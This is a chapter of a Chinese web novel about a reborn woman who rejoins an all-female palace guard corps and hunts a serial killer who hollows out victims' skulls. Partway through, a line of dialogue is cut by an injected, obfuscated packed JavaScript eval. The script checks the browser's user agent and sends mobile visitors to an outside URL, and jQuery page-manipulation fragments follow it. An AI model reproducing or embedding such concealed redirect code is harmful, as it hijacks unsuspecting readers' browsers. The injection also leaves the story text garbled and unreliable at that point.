门扉轻启，钱戈那张憨厚的脸庞映入眼帘，他咧着嘴笑道：“姑爷，大喜事啊！大小姐官复原职，进宫办差。走之前，还特意交代小的，给您买笼热腾腾的包子来垫垫肚子呢。”


    宋章闻言不解，又见钱戈嘿笑，“今日大小姐真是让小的敬佩不已！”


    接着便将钱府刚刚发生的事情一五一十地告诉了宋章。


    “府里欺压下人最狠的便是那表少爷。府里但凡有点姿色的丫鬟，都被他欺辱过。我们这些做下人的，敢怒不敢言。”说着，钱戈露出了肩头的一处伤痕，“我这里，就是因为给表少爷抬轿子时脚滑了一下，就被他拿鞭子抽得……”


    宋章望着钱戈肩头的伤痕，淡淡地说道：“你也不易。”


    钱戈心道这位姑爷人长得英俊，说话也和气，大小姐嫁了他，难怪性情也变了！


    “姑爷可太抬举小人。”


    钱戈早晨进来时，就见灶台的锅碗都还泡在水中，屋里肉眼可见灰尘。


    “姑爷，要不小的拾掇？”


    “好。”


    得到宋章的允许后，他立刻挽袖忙碌起来。洗了锅碗瓢盆，又劈完全部的柴火，打起井水将水缸装满，烧了一壶热水，清理了庭院积雪后又还拿着扫帚去门外洒扫，将家里家外整理得井井有条。


    干净整洁的环境，谁不喜欢，其实刚刚方进山也拾掇过一趟，但跟钱戈这豪门大户的“手艺”比起来，简直就是鬼画符。


    临走前，钱戈又勤快地将一把摇椅抬到院中，鸡毛掸子刷了刷灰，请宋章落座，旁边摆了茶具，沏好茶。


    宋章素有洁癖，望着这焕然一新的小院，心中难得地涌起一股舒适感。


    脑海中不禁浮现出上一世与钱戈见的最后一面：


    成婚后大半年，钱正道渐渐地不再见钱青青，钱青青悲怒之下，染上了风寒，一病不起。李月豁出去老脸到钱家求助，却空手而归。


    最后，是钱戈冒着被杖责的风险，从钱府偷出药材送，而钱青青却冷冷地，正眼都不看他一眼，连一个“谢”字都不曾说出口。


    之后，钱青青的病情虽然好转，但武功却废了。自此她的精气神就像秋冬枝头的叶子，一日日地萎靡凋零。


    宋章离开时，她已经连刀都握不动了。


    新一世的变化，着实是他没有预料到的……


    即便在前世，钱青青最为嚣张跋扈之时，也从未在钱正道面前闹出过什么大风波。如今她竟路见不平拔刀相助，不惜放弃到手的嫁妆……


    宋章咬了一口手中的肉包子，日头正好，小鸟在枝头吱吱叫，在屋檐的阴影之中，仿佛被庇佑着。


    万万没想到，自己居然会有被钱青青这么个一无所有的人保护的一天。


    *


    “一无所有”的钱青青换上凰卫司官服，宫门出示了腰牌后进宫。


    白露很可能在暗处盯着她，回宫当差这种“天大喜事”，她不能表现出任何迟疑。


    宫道石板铺就，石板缝隙里的杂草修剪过，一切都整整齐齐，两旁高耸的宫墙，庄重感陡然而生。甬道尽头，是层层叠叠、金碧辉煌的宫殿群。琉璃碧瓦，反射出刺眼的光，彼此交辉相映，恢弘盛大。


    真正走进鲜活的历史古迹，钱青青内心的感受无法用言语形容。


    只能说，太震撼了！


    然而无情的现实很快将她的思绪拉回来——


    接下来，该往哪儿走呢？


    两个宫女从一条甬道穿出，捧着精致雕花暗红纹木匣，窃窃私语，谈论的正是这两天皇宫里闹得沸沸扬扬的食脑魔案。


    “听那日去灭火的几个姐妹说，坤福宫烧得那叫一个凄惨，连根柱子都没剩下……”


    “真是世事无常……端妃娘娘一生积德行善，却没想到死后宫殿竟遭此劫难……”另一个宫女叹息道。


    “也不知是招惹了什么妖孽……二十三名宫人都陪葬了……听说挖出来的那第二十四人，脑子都被掏空了，眼、鼻、喉、耳，全爬满了虫子……”第一个宫女压低声音，语气中满是恐惧。


    “噫，这也太吓人了吧……”


    “咳、咳。”


    钱青青并未越前一步，巧妙地避免了可能因认不出熟人而产生的尴尬。


    “凰、凰卫大人饶命！”两个宫女如同受惊的小鸟，齐刷刷地跪倒在地。


    钱青青背着手：“你们在说什么，我全听见了。”


    “大、大人，奴婢们并非妄议食脑魔案，只是心中害怕……”胆子稍大的宫女率先开口。


    看来宫里也下了封口令，严禁宫人私下议论此事。她微微颔首，用符合她身份的措辞：“管好自己的嘴。食脑魔案无关鬼神，凰卫司自会捉拿凶手，休要再胡言乱语。”


    “……奴婢们记住了。”两个宫女连连点头，神色中带着几分敬畏。


    看着她们瑟缩的样子，钱青青知道自己这么说是“对”的，冷冷地说了声“去吧”，两名宫女便连连谢恩，转身走远。


    这时，肩膀突然被人重重拍了一下。那手修长而有力，如同喊她名字时的声音一般极具穿透力。


    “青青，哈，你真回来了！”


    钱青青转身一看，是两个和她同样身着凰卫司服饰的女子。


    “你们吓我一跳……”钱青青抱怨。


    “倪如娇，你不要总这样，人吓人会吓死人的。”其中一个容貌秀丽的同僚劝道，“青青才大病初愈呢。”


    “对对对，刘荻不说我还真差点忘了。”倪如娇拍了拍脑袋，随即豪迈地揽过钱青青的肩头，“青青啊，你还好吧？我们去过钱府，想探望你，但被拒之门外。”


    钱青青如实说道：“爹把我软禁起来，想让我快点嫁出去，以免节外生枝。”


    刘荻闻言，眼中闪过一丝惊讶：“原来传闻是真的？！”


    倪如娇则以拳击掌，愤愤不平地说道：“太过分了！”说着，她又豪迈地揽过钱青青的肩头，“别怕，以后你也算和钱尚书同朝为官，又嫁了人，他再也不能难为你了。”


    刘荻做了个噤声的手势，倪如娇却依旧大摇大摆、无所畏惧的样子，噘着嘴边走边说道：“我才不怕呢！”


    钱青青暗自思量：


    这凰卫司中还是有几分人情味的。


    “食脑魔案进展如何？”钱青青试图从她们口中获取更多信息。


    倪如娇大大咧咧地开口道：“已有嫌疑人。是个太监，身高不足七尺，长得瘦弱。有人在坤福宫大火后第七日，看见一个太监私设祭台，摆了酒水贡品，嘴里还碎碎念着什么。”


    “他是为死者做法事吗？”钱青青追问。


    “其一，他被巡逻的侍卫发现，吓得撒腿就跑。烧了一半的符纸上有个‘香’字。那名死于吸髓的宫女，正是叫亚香。”


    “其二，符纸上的符文是用人血所写，钦天监的人说，这符文非佛非道，古怪得很。”


    倪如娇咂咂嘴：“这案子本就诡异，再出这祭祀这么一出，更邪门了。陛下亲自下了禁言令，无关人等一律不得议论此事。”


    “明白了。”钱青青若有所思地点了点头。


    上一世，她因巡逻时踢死了一只贵人的狸奴而被罚出宫去。如今重回凰卫司第四营，深知要想在皇宫中立足，必须和同僚处好关系。


    “我这次回来，有没有人说什么？”钱青青问道。


    依稀记得，第四营的校尉一度想替她求情，但终究耽误了时机……


    倪如娇直言道：“还不是朱晓那个马屁精！曾校尉都拿回你官复原职的批文了，她还在那里说什么怕你惹是生非，怂恿曾校尉不用你。也不知曾校尉怎么想的，如此看重她！”


    钱青青心中暗暗记下朱晓这个名字。


    一炷香后，三人抵达了凰卫司司衙。


    每一名凰卫上值前都需到库房领取兵器。


    钱青青走进库房时，朱晓早已到了。


    朱晓果然跟她很不对付，才见面，便剜了钱青青一眼：“钱青青，这里又不是菜市场，你翻什么翻，挑挑拣拣的，成何体统。你之前不是都用刀的吗？”


    钱青青却不客气地回敬道：“我自小修习骑射，刀剑、弓弩都略通一些。”


    像是故意和朱晓对着干，她越催，钱青青就越要慢条斯理。最后，仔仔细细地挑选了一把趁手的短刀，拔刀出鞘后检查了一番，满意地点点头，将其挂在腰间。


    “快点，不能让曾校尉等太久。”


    朱晓拍了拍腰间的长剑，冷哼一声。


    “马屁精，别管她。”倪如娇不屑地撇撇嘴。


    “好。”钱青青应了一声，心中却要多谢朱晓刚才那句无意的提醒。


    那朱晓看着并不是心机深沉的角色，只是嘴皮子碎了些。


    倪如娇背上一套弓箭，刘荻则两手空空地陪着她们逛了一趟库房，什么也没带出来。


    钱青青心中好奇刘荻惯用什么武器，但深知多说多错的道理，出了兵器库，已经有不少同僚陆续过来。


    “青青，欢迎回到第四营。”


    说话者是司衙正中，一个气质优雅、干练严肃的中年女性。


    钱青青从口气和服饰判断，她就是第四营所有人的上司，六品校尉，曾郦。


    她严阵以待，斟酌着道，“请您放心，我这次回来，不会像以前那么鲁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374107|168260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    莽了。”


    曾郦温和道：“吃一堑长一智，好事。”


    这让钱青青联想到她的导师，说话语气也像，是个年龄只比她大七八岁的大姐姐，早早评上副教授，心智成熟，学术上引领着她，关心她生活，关系亦师亦友。


    “都过来些。”曾郦招招手，“朱晓，你来说。”


    “是。”朱晓作为曾郦的助手，总比别人先一步掌握消息，表情有些神气。


    “近日陛下携惠妃、娴妃，以及娴妃的两位小公主，一起前去西苑赏雾凇。西苑树林繁茂，偶有小兽出没，昨晚不知从哪里窜出一群野狗，差点咬伤了两位小公主……”


    “陛下派殿前司去灭狗，搜捕的人却发现了一处狗窝，狗窝边，赫然有成堆的被啃食过的白骨。”


    “西苑地处皇宫后山，开始还以为是宫人私自豢养畜生……但那堆白骨，经查，竟是人骨……共五具，致命伤均是囟门破碎，死前遭虐。仵作初步判定，和坤福宫出现的死者是死于同一人之手。”


    “人骨？！也是被吸髓而死？”倪如娇气得跳脚，“这他妈……”


    刘荻迅速捂住了倪如娇的嘴。


    “陛下口谕，西苑食脑魔案和坤福宫食脑魔案合并归凰卫司主理。”曾郦道，“一营二营协助控鹤司，分别增强驻守和巡逻嫔妃宫所，三营的姐妹在收集死者信息，我们四营抓人！”


    听着感觉整个凰卫司就第四营的活儿最麻烦。


    曾郦又道：“朱晓，将仵作上午刚送来的验尸单给她们看。”


    钱青青接过一张，看了一眼，头就大起来了。


    这不仅是连环杀人案，还是陈年旧案。


    “从骨骼、骨盆、趾骨连接处判断，西苑食脑魔案死者俱是女子，死时年龄在十五至二十之间，未生育。”朱晓指了指倪如娇手里那份验尸单，“你所看的这个，是最早的死者，约死于五年前。”


    大家交换着验尸单看了一圈，发现即使距离最近的死者，也是死于三年前。


    凶手是一个虐杀者，这些年陆续在杀人，几乎一年一个。


    一名低阶侍卫小跑进来，在曾郦耳边说了些什么。


    “辛苦了，你回去吧。”


    “今晨，控鹤司在东宫发现可疑物踪迹。”报信人走后，曾郦快速道，“根据身形描述，很像头七晚在坤福宫以血作法的嫌疑人。”


    这么快又有嫌疑人消息了！


    曾郦立刻布置：“东宫是东宫六率守着，禁军不得擅入，控鹤司的姐妹只能外围搜索。我去东宫，奏请太子妃。刘荻、倪如娇，你们带人缩小包围圈。朱晓带人抓捕。”


    说罢，她又看了眼钱青青，“你和朱晓一起，没问题吧？”


    跟死对头一起抓人？抓心理变态的连环杀人案凶手？


    这开局难度也太高了。


    “不行就在司衙呆着，不要拖我后腿。”朱晓激将似地说。


    钱青青自然不能退让，挺身道：“我愿前往。”


    第四营抵达东宫宫门外之时，天边已渐渐染上了黄昏的余晖。


    曾郦与东宫的侍卫经过简短的交涉后，终于被获准进入这故太子的宫殿之内。


    刘荻说：“东南方向的聆雨阁，乃故太子昔日居所，如今空置无人，最适合藏匿。天色已暗，我速去速回。”


    话音未落，刘荻的身影已如离弦之箭般掠出数丈之遥，速度快得令人咋舌，几乎只留下一道淡淡的残影，消失在众人的视线。


    钱青青不禁瞠目结舌，这轻功，超凡脱俗。


    刘荻专事刺探，因此需要零负重，难怪在兵器库没有取兵器。


    “倪如娇，你带领箭弩队迅速清点弓箭，确保万无一失。”朱晓下达命令。


    “姐妹们，都听见了！这里是东宫，可别给咱凰卫司丢人！”倪如娇虽然对朱晓心存不满，但执行起任务来却毫不含糊。


    “是！”


    紧接着，身后响起了箭矢被装入弓弩的沙沙声，清脆而有力。


    女侍卫们手持短弩，背负长弓，皆是统一的制式装备，那锋利的箭头在夕阳的余晖下闪烁着寒光。


    “快来这里！”刘荻的声音突然从远处传来。


    “走！”朱晓带搜捕队加快脚步。


    钱青青竖起耳朵，果然听到空旷宫殿传来的打斗声。


    紧接着，一个小太监仓皇逃窜的身影映入了她的眼帘，一只鞋子已经掉落，仍拼命地奔跑。


    “兔崽子！哪里跑！”


    伴随着一声清脆的咒骂，一个女子的身影出现在钱青青的视线中。只见那女子十分清秀，却甚是彪悍，手腕一抖，一支匕首便如同闪电般飞出。